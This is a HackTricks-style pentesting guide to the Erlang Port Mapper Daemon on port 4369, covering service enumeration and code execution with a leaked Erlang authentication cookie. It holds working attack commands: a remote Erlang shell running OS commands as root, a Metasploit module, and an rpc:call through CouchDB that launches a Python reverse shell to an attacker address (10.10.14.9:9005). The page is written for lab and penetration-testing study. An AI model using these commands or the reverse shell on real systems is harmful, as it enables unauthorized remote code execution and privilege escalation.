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# Basic Info The erlang port mapper daemon is used to coordinate distributed erlang instances. His job is to **keep track of which node name listens on which address**. Hence, epmd map symbolic node names to machine addresses. **Default port**: 4369 ``` PORT STATE SERVICE VERSION 4369/tcp open epmd Erlang Port Mapper Daemon ``` This is used by default on RabbitMQ and CouchDB installations. # Enumeration ## Manual ```bash echo -n -e "\x00\x01\x6e" | nc -vn 4369 #Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb apt-get install erlang erl #Once Erlang is installed this will promp an erlang terminal 1> net_adm:names(''). #This will return the listen addresses ``` ## Automatic ```bash nmap -sV -Pn -n -T4 -p 4369 --script epmd-info PORT STATE SERVICE VERSION 4369/tcp open epmd Erlang Port Mapper Daemon | epmd-info: | epmd_port: 4369 | nodes: | bigcouch: 11502 | freeswitch: 8031 | ecallmgr: 11501 | kazoo_apps: 11500 |_ kazoo-rabbitmq: 25672 ``` # Erlang Cookie RCE ## Remote Connection If you can **leak the Authentication cookie** you will be able to execute code on the host. Usually, this cookie is located in `~/.erlang.cookie` and is generated by erlang at the first start. If not modified or set manually it is a random string \[A:Z] with a length of 20 characters. ```bash greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10] Eshell V8.1 (abort with ^G) At last, we can start an erlang shell on the remote system. (test@target.fqdn)1>os:cmd("id"). "uid=0(root) gid=0(root) groups=0(root)\n" ``` More information in [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\ The author also share a program to brutforce the cookie: {% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %} ## Local Connection In this case we are going to abuse CouchDB to escalate privileges locally: ```bash HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE (anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]). "homer\n" (anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]). ``` Example taken from [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\ You can use **Canape HTB machine to** **practice** how to **exploit this vuln**. ## Metasploit ```bash #Metasploit can also exploit this if you know the cookie msf5> use exploit/multi/misc/erlang_cookie_rce ``` # Shodan * `port:4369 "at port"`
Support HackTricks and get benefits! Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**